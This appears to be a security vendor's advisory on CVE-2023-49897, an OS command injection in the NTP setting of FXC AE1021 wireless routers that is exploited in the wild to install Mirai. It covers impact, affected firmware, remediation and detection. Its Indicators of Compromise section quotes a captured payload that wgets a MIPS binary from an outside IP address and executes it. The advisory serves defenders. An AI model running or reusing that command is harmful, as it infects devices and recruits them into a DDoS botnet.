**CRITICAL RISK** CVE-2023-49897 FXC AE1021 < v2.0.10 – OS Command Injection Vulnerability in Web Management UI NTP Configuration

Background & Context

FXC is a Chinese company who manufacture, sales and resale of network equipment and optical wavelength multiplexing equipment, remote maintenance service system.

The AE1021/AE1021PE is an information outlet compatible, IEEE802.11b/g/n compliant high-performance wireless LAN router for hotels and residential units.

 

Vulnerability Summary

An OS command injection vulnerability exists in AE1021PE firmware version 2.0.9 and earlier and AE1021 firmware version 2.0.9 and earlier, with a payload delivered via a POST request to the management interface. The vulnerable endpoint involves NTP update method at the cgi-bin/action URI. The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

 

Impact If Exploited

If this vulnerability is exploited, an arbitrary OS command may be executed by an attacker who can log in to the product. Although exploit required privileged (administrative) access context, the devices use an insecure default (shared) password which is documented and widely known, so remote exploit is possible if credentials have not been updated on install.

NOTE: This vulnerability has been reported by the CISA (America’s Cyber Defense Agency) to be known to be currently actively exploited in the wild as of 2023-12-22. The malicious payloads captured in the wild install a Mirai-based malware with the intention of creating a distributed denial-of-service (DDoS) botnet. Prioritisation should be given to remediation in any impacted environment.

 

Affected Product Versions

  • FXC AE1021PE firmware version 2.0.9 and earlier
  • FXC AE1021 firmware version 2.0.9 and earlier

 

Indicators of Compromise

The raw exploit payloads captured in the wild attempt to leverage the OS command injection vulnerability to distribute a MIPS-compiled variant of Mirai:

  • cd /tmp; rm -rf mips; wget http://45.142.182.96/spl/mips; chmod 777 mips; ./mips accessedge

 

Remediation

Official Fix & Remediation Guidance

The developer has released firmware 2.0.10 that addresses this vulnerability. Please update the firmware to 2.0.10 and then configure the following settings as detailed below:

– Download latest firmware (2.0.10 or later) from the site https://www.fxc.jp/form/certify/
– After updating the firmware, reset the “factory settings”
– Change the password for logging in to the management screen from the initial settings from the insecure default

NOTE: Remediation of this vulnerability by patching to a specific version indicated may not be sufficient to secure the product against further vulnerabilities discovered in later versions, subsequent to the publication of this guidance. Unless contra-indicated, customers are therefore advised to always upgrade to the latest version of the product available.

 

Temporary Mitigation & Workarounds:

(The vendor has not advised of any alternative temporary mitigation or workarounds)

NOTE: Caution should always be taken in applying any temporary mitigations listed. Mitigations are only recommended in cases where patches to remediate the vulnerability are not available, or cannot safely be applied to a given environment immediately. A given mitigation may not in all cases be recommended officially by the application vendor. The viability of any given temporary mitigation measure may vary, depending on server platform and existing configuration. Mitigations listed may incompletely remediate any given vulnerability. Configuration changes to implement listed mitigations may impact/disrupt required functionality within a given customer application. Care should therefore be taken to carefully analyse any listed mitigations for appropriateness to a given environment. Customers are advised to test any configuration changes prior to their being introduced into a production environment.

 

References:

 

Category: OS Command Injection

 

Detection

AppCheck has added a plugin to detect the flaw that will run as part of your standard scans.

 

About AppCheck

AppCheck is a software security vendor based in the UK, offering a leading security scanning platform that automates the discovery of security flaws within organisations websites, applications, network, and cloud infrastructure. AppCheck are authorized by the Common Vulnerabilities and Exposures (CVE) Program as a CVE Numbering Authority (CNA).

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